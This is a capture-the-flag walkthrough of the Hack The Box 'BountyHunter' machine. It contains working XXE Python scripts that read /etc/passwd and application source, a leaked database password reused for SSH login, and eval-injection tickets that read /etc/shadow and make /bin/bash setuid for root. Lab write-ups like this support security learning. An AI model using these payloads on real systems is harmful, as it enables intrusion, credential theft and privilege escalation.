HTB [BountyHunter]
#linux#xxe#python
RECON
port scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLosZOXFZWvSPhPmfUE7v+PjfXGErY0KCPmAWrTUkyyFWRFO3gwHQMQqQUIcuZHmH20xMb+mNC6xnX2TRmsyaufPXLmib9Wn0BtEYbVDlu2mOdxWfr+LIO8yvB+kg2Uqg+QHJf7SfTvdO606eBjF0uhTQ95wnJddm7WWVJlJMng7+/1NuLAAzfc0ei14XtyS1u6gDvCzXPR5xus8vfJNSp4n4B5m4GUPqI7odyXG2jK89STkoI5MhDOtzbrQydR0ZUg2PRd5TplgpmapDzMBYCIxH6BwYXFgSU3u3dSxPJnIrbizFVNIbc9ezkF39K+xJPbc9CTom8N59eiNubf63iDOck9yMH+YGk8HQof8ovp9FAT7ao5dfeb8gH9q9mRnuMOOQ9SxYwIxdtgg6mIYh4PRqHaSD5FuTZmsFzPfdnvmurDWDqdjPZ6/CsWAkrzENv45b0F04DFiKYNLwk8xaXLum66w61jz4Lwpko58Hh+m0i4bs25wTH1VDMkguJ1js=
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlGEKJHQ/zTuLAvcemSaOeKfnvOC4s1Qou1E0o9Z0gWONGE1cVvgk1VxryZn7A0L1htGGQqmFe50002LfPQfmY=
| 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJeoMhM6lgQjk6hBf+Lw/sWR4b1h8AEiDv+HAbTNk4J3
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Only 2 ports opened, let’s start our enumeration with the web server
web enum
- It’s a php website
- This two files seems interesting
- Also there’s a directory listing in
/resources
- README.txt
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
- This doesn’t makes sense right now, currently we know there’s a test account here and he’s using plain text password
-
In addition the need to connect the submit script to the database
- bountylog.js
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
- This is the working mechanism of the Report submission page, we will see that below, they’re adding our user input to this xml file, and converting it to base64
- Finally they’re sending the POST request to the
tracker_diRbPr00f314.php
end point
- By clicking this portal, we can go to
/portal.php
page
- There’s a link in here, it redirects us to “http://10.10.11.100/log_submit.php”
- There’s a Bug Report system, we can able to enter the exploit title, CWE, CVSS score and Bounty reward
- It sends a POST Request to
/tracker_diRbPr00f314.php
and we can see there’s a base64 string is passing through thedata
- Decoding that string reveals they’re sending our data in XML format by encoding it with the base64
- All our 4 inputs are reflected in the response, So let’s try XXE here
INITIAL FOOTHOLD
XXE
- Copy as python request, so we can quickly edit this to craft a small exploit
import requests
from base64 import b64encode as b64e
burp0_url = "http://10.10.11.100:80/tracker_diRbPr00f314.php"
burp0_headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://10.10.11.100", "Referer": "http://10.10.11.100/log_submit.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
xxe_payload = '''<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>
Jopraveen
</title>
<cwe>
Cwe
</cwe>
<cvss>
CvssScore
</cvss>
<reward>
BountyReward
</reward>
</bugreport>'''.encode()
b64_enc_data = b64e(xxe_payload).decode()
burp0_data = {"data": b64_enc_data}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(resp.text)
- This is very useful to us, let’s add a XXE payload to it
import requests
from base64 import b64encode as b64e
burp0_url = "http://10.10.11.100:80/tracker_diRbPr00f314.php"
burp0_headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://10.10.11.100", "Referer": "http://10.10.11.100/log_submit.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
xxe_payload = '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>
&ent;
</title>
<cwe>
Cwe
</cwe>
<cvss>
CvssScore
</cvss>
<reward>
BountyReward
</reward>
</bugreport>'''.encode()
b64_enc_data = b64e(xxe_payload).decode()
burp0_data = {"data": b64_enc_data}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(resp.text)
- Cool, we can ge the contents of
/etc/passwd/
file - There’s a user named development
- We can’t read his
id_rsa
key in his home folder (may be we don’t have enough permissions else there isn’t one) - Let’s check the source code for creds
import requests
from base64 import b64encode as b64e
burp0_url = "http://10.10.11.100:80/tracker_diRbPr00f314.php"
burp0_headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://10.10.11.100", "Referer": "http://10.10.11.100/log_submit.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
xxe_payload = '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/index.php"> ]>
<bugreport>
<title>&ent;</title>
<cwe>
Cwe
</cwe>
<cvss>
CvssScore
</cvss>
<reward>
BountyReward
</reward>
</bugreport>'''.encode()
b64_enc_data = b64e(xxe_payload).decode()
burp0_data = {"data": b64_enc_data}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
contents = resp.text.split('Title:')[1].split('CWE:')[0].split('<td>')[1].split('</td>')[0]
print((contents))
- I’ve modified this script a little bit, so we can print the contents only
- I’m using php filter here, coz we it’ll render and we can’t see it
- Nothing interesting in
index.php
, so let’s seedb.php
which we got from the dirbusting
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
- We got some credentials, Let’s this creds for the
development
user, (development:m19RoAU0hP41A1sTsq6K
) - It worked
PRIVESC
- So there’s a tool here we can use that to validate tickets
- Running
sudo -l
reveals we can run/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
as root permissions
- 1) Getting the file name as the user input
- 2) Passing that file name to the
loadfile()
function and storing the result inticket
variable - 3) Passing the
ticket
variable to theevaluate()
function - 4) Closing the file
- If the
evaluate()
function returns true then it prints “Valid ticket.”, else it prints “Invalid ticket.”
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
- The program exits if the supplied user input file doesn’t ends with
.md
extension
They’re using a for loop to iterate over the file
- 1) Initializing the
code_line
toNone
- 2) Checking if the first line starts with
# Skytrain Inc
, if it doesn’t then the functions returns False - 3) Checking the second line starts with
## Ticket to
, else it returns False - 4) Printing the string after the
## Ticket to
string as “Destination” - 5) Then it checks if the next line starts with
__Ticket Code:__
, If it does, then it sets thecode_line
variable toi + 1
, here the i is the current line - 6) If
code_line
is not equal tozero
orNone
, it proceeds further - 7) If the current line starts with
**
, it proceeds, else it returns False - 8) They’re replacing the string
**
with a empty string so it gets removed, and splitting the remaining string with+
and storing the first value to theticketCode
variable - 9) If the
ticketCode
‘s remainder is4
when it’s divisible by7
it proceeds further - 10) They’re passing the remaining content to the
eval()
function and stores the result inValidationNumber
variable - 11) Then they’re checking the validationNumber is greater than 100 or not, if it’s high the it returns True, else it returns False
Crafting Malicious Ticket
# Skytrain Inc
## Ticket to root_user_XD
__Ticket Code:__
**11 + 11 ,print(open("/etc/shadow","r").read())**
- Since they’re passing it to eval, we can add
,
to eval multiple things - We can bypass that
int % 7 == 4
thing by using11
in the starting, coz it returns4
as remainder when dividing it by7
- We can read the contents of
/etc/shadow
, so we can read the root.txt also - To code execution we need to use the import function
# Skytrain Inc
## Ticket to root_user_XD
__Ticket Code:__
**11 + 11 ,__import__('os').system('chmod u+s /bin/bash')**
- This gives setuid permissions to
/bin/bash
file, so we can do abash -p
ezpz root
- Rooted!!
It would be appreciated if you give me a respect+ on HTB